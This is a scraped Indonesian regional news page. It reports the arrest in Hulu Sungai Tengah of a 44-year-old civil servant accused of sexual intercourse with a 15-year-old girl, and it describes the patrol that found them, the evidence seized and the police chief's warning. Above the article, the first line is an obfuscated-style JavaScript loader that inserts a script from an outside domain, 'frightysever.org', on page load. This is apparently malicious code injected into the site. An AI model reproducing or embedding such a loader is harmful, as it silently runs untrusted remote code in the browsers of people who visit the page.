(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polres HST Tangkap Oknum PNS Pelaku Persetubuhan Anak Dibawah Umur


BARABAI, Polres Hulu Sungai Tengah (HST) mengamankan seorang Oknum Pegawai Negeri Sipil (PNS) yang diduga melakukan tindak pidana persetubuhan anak  sesuai dengan  pasal 81 Ayat (2) Undang – Undang Nomor 35 Tahun 2014 tentang perubahan Atas Undang-Undang No.23 tahun 2002 tentang Perlindungan Anak.

“Oknum PNS yang diduga melakukan tindak pidana tersebut berinisial RF (44) asal Barabai, Kabupaten HST. Sedangkan korbannya adalah seorang anak di bawah umur AS (15),” ujar Kapolres HST AKBP Sabana Atmojo SIK, MH.

Adapun barang bukti yang diamankan berupa 1 lembar baju kaos lengan panjang merk Ignite  warna abu-abu, 1 lembar celana leging merk Bebe warna hitam, 1 lembar celana dalam merk Ghanel warna biru, 1 lembar BH warna Kream, 1 (satu) buah mobil Toyota Avanza DA 1963 HB warna putih.

Kejadian bermula pada hari Jumat  (25/1) sekitar pukul 20.30 wita, saat anggota piket Satuan Samapta dan SPKT Polres HST melaksanakan patroli daerah rawan kejahatan dan menemukan sebuah mobil yang parkir dipinggir jalan Tol Desa Hulu Rasau Kecamatan Pandawan  Kabupaten HST. Ketika didekati, dicurigai melakukan persetubuhan dalam mobil dan di dalam mobil ditemukan cairan yang menyerupai sperma sehingga keduanya dibawa ke Polres.

Setelah diperiksa ternyata bukan suami istri dan malah wanitanya masih anak di bawah umur. Atas kejadian tersebut anggota langsung memberitahukan orang tua korban. Dan orang tua korban langsung menuju ke Mapolres HST karena merasa tidak terima kemudian melaporkan kejadian tersebut untuk diproses sesuai dengan hukum yang berlaku.

Kapolres HST AKBP Sabana Atmojo membenarkan atas kejadian tersebut dan akan memproses sesuai hukum yang berlaku. Serta menghimbau kepada masyarakat agar lebih waspada lagi dan menjaga anak perempuan nya sehingga kejadian serupa tidak terjadi lagi karena kejahatan terhadap anak sering terjadi dilakukan oleh orang dekat. (rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.